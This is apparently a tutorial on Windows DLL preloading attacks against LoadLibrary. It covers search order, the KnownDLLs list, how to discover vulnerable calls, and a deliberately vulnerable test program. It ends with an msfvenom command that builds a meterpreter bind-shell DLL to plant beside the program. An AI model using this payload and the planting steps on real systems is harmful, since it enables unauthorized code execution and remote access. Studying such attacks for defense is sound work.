LoadLibrary Vulnerability

LoadLibrary is a Windows API that allows the developer to load a 3rd-party module (DLL or EXE), and use a function. If the module path for LoadLibrary isn't properly secured, it is possible to perform a "pre-loading" attack, and result in arbitrary code execution. An example of of using LoadLibrary:

```
#include "stdafx.h"
#include <iostream>
#include <windows.h>
using namespace std;

typedef int(__stdcall *Message)(HWND, LPCTSTR, LPCTSTR, UINT);

int main(int args, char *argv[]) {
  // Load User32.dll
  HMODULE user32 = LoadLibraryA("User32.dll");
  if (user32 == nullptr) {
    cout << "Failed to load User32.dll" << endl;
    ExitProcess(0);
  }

  // Get the address for function MessageBoxA
  Message msg = (Message)GetProcAddress(user32, "MessageBoxA");
  if (msg == nullptr) {
    cout << "Failed to get address for MessageBoxA" << endl;
    ExitProcess(0);
  }

  // Run MessageBoxA
  (*msg)(NULL, (LPCTSTR) "Hello World!", (LPCTSTR) "Hello", NULL);

  // Free the library before we exit
  FreeLibrary(user32);

  return 0;
}
```

The Load Order of LoadLibrary

When a module is being loaded, LoadLibrary has multiple search paths to locate the DLL and load it. For a Windows desktop application, the load order goes like this:

1. The directory from which the application loaded.
2. The system directory.
3. The 16-bit system directory.
4. The Windows directory.
5. The current directory.
6. The directories that are listed in the PATH environment variable.

However, the Windows registry also keeps track of a list of known DLLs in the registry, specifically:

```
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs
```

The KnownDLLs key has a DllDirectory value that points to the system32 directory. This means that if LoadLibrary is trying to load something that's known, Windows will attempt to load it directly from the system32 directory first.

On Windows 7, the known DLLs are:

- advapi32.dll
- clbcatq.dll
- COMDLG32.dll
- difxapi.dll
- gdi32.dll
- IERTUTIL.dll
- IMAGEHLP.dll
- IMM32.dll
- kernel32.dll
- LPK.dll
- MSCTF.dll
- MSVCRT.dll
- NORMALIZ.dll
- NSI.dll
- ole32.dll
- OLEAUT32.dll
- PSAPI.DLL
- rpcrt4.dll
- sechost.dll
- Setupapi.dll
- SHELL32.dll
- SHLWAPI.dll
- URLMON.dll
- user32.dll
- USP10.dll
- WININET.dll
- WLDAP32.dll
- WS2_32.dll

Discovering LoadLibrary Vulnerabilities

To inspect if an application is vulnerable from DLL preloading attacks, first enumerate all the LoadLibrary calls. This can be done by either using IDA Pro, or ImmDBG.

Another way to check if a LoadLibrary call is vulnerable is by using Process Monitor from Sysinternals Suite. Set a filter for the CreateFile operation and look for the DLLs being loaded by the application.

Exploiting LoadLibrary

Let's exploit the following vulnerable case:

```
#include <iostream>
#include <windows.h>
using namespace std;

int main(int args, char *argv[]) {
  HMODULE user32 = LoadLibraryA("unsafe.dll");
  if (user32 == nullptr) {
    cout << "Failed to load unsafe.dll" << endl;
    ExitProcess(0);
  } else {
    cout << "unsafe.dll loaded" << endl;
  }

  FreeLibrary(user32);

  return 0;
}
```

We compile the above example as C:\test.exe. Also notice that unsafe.dll means this is something not from the known DLLs list.

To take control of LoadLibrary for unsafe.dll, first we can create a malicious DLL, and save it under the same directory as the program, which is C:\

To create a malicious DLL, we can do this with Metasploit's msfvenom:

```
$ ./msfvenom -p windows/meterpreter/bind_tcp -f dll -o evil_bind_tcp.dll
```

Next, place the malicious DLL (evil_bind_tcp.dll) in C:\, and then execute C:\test.exe. LoadLibrary shoud end up loading our malicious payload instead of the normal unsafe.dll.